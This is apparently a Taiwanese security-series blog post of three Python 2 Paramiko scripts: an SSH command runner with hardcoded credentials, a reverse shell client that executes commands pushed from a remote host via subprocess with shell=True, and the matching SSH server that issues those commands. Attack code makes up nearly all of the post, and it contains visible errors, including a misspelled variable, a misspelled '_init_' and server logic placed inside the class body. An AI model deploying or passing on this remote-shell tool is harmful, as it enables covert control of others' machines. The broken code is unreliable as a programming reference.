iT邦幫忙

2019 iT 邦幫忙鐵人賽

DAY 13
0

請先用pip安裝Paramiko

pip install paramiko
#bh_sshcmd.py
import threading
import paramiko
import subprocess

def ssh_command(ip, user, passwd, command):
    client = paramiko.SSHClient()
    #client.load_host_keys('/home/securitysleep/.ssh/know_hosts')
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    client.connect(ip, username=user, password=passwd)
    ssh_session=client.get_transport().open_session()
    if ssh_session.active:
        ssh_session.exec_command(command)
        print ssh_session.recv(1024)
    return

ssh_command('192.168.0.1', 'securitysleep', 'test123', 'id')
#bh_sshRcmd.py
import threading
import paramiko
import subprocess

def ssh_command(ip, user, passwd, command):
    client = paramiko.SSHClient()
    # client.load_host_keys('/home/securitysleep/.ssh/know_hosts')
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    client.connect(ip, username=user, password=passwd)
    ssh_session = client.get_transport().open_session()
    if ssh_session.active:
        ssh_session.send(command)
        print ssh_session.recv(1024)
        while True:
            commadn = ssh_session.recv(1024)
            try:
                cmd_output = subprocess.check_output(command, shell=True)
                ssh_session.send(cmd_output)
            except Exception, e:
                ssh_session.send(str(e))
        client.close()
    return
ssh_command('192.168.0.1', 'securitysleep', 'test123', 'ClientConnected')
#bh_sshserver.py
import socket
import paramiko
import threading
import sys

host_key = paramiko.RSAKey(filename='test_rsa.py')

class Server (paramiko.ServerInterface):
    def _init_(self):
        self.event = threading.Event()
    def check_channel_request(self, kind, chanid):
        if kind == 'session':
            return paramiko.OPEN_SUCCEEDED
        return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED
    def check_auth_password(self, username, password):
        if(username == 'securitysleep') and (password == 'test123'):
            return paramiko.AUTH_SUCCESSFUL
        return paramiko.AUTH_FAILED
    server = sys.argv[1]
    ssh_port = int(sys.argv[2])

    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        sock.bind((server, ssh_port))
        sock.listen(100)
        print '[+]Listening for connect....'
        client, addr = sock.accept()
    except Exception, e:
        print '[-]Listen failed: ' + str(e)
        sys.exit(1)
    print '[+]Got a connect!'

    try:
        bhSession = paramiko.Transport(client)
        bhSession.add_server_key(host_key)
        server = Server()
        try:
            bhSession.start_server(server=server)
        except paramiko.SSHException, x:
            print '[-]SSH negotiation failed.'
        chan = bhSession.accept(20)
        print '[+] Authenticated!'
        print chan.recv(1024)
        chan.send('Welcome to bh_ssh')
        while True:
            try:
                command = raw_input("Enter command: ").strip('\n')
                if command != 'exit':
                    chan.send(command)
                    print chan.recv(1024)+'\n'
                else:
                    chan.send('exit')
                    print 'exiting'
                    bhSession.close()
                    raise Exception('exit')
            except KeyboardInterrupt:
                bhSession.close()
    except Exception, e:
        print '[-]Caught exception: ' + str(e)
        try:
            bhSession.close()
        except:
            pass
        sys.exit(1)

上一篇
0x12 TCP Proxy
系列文
No Security No Sleep13
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言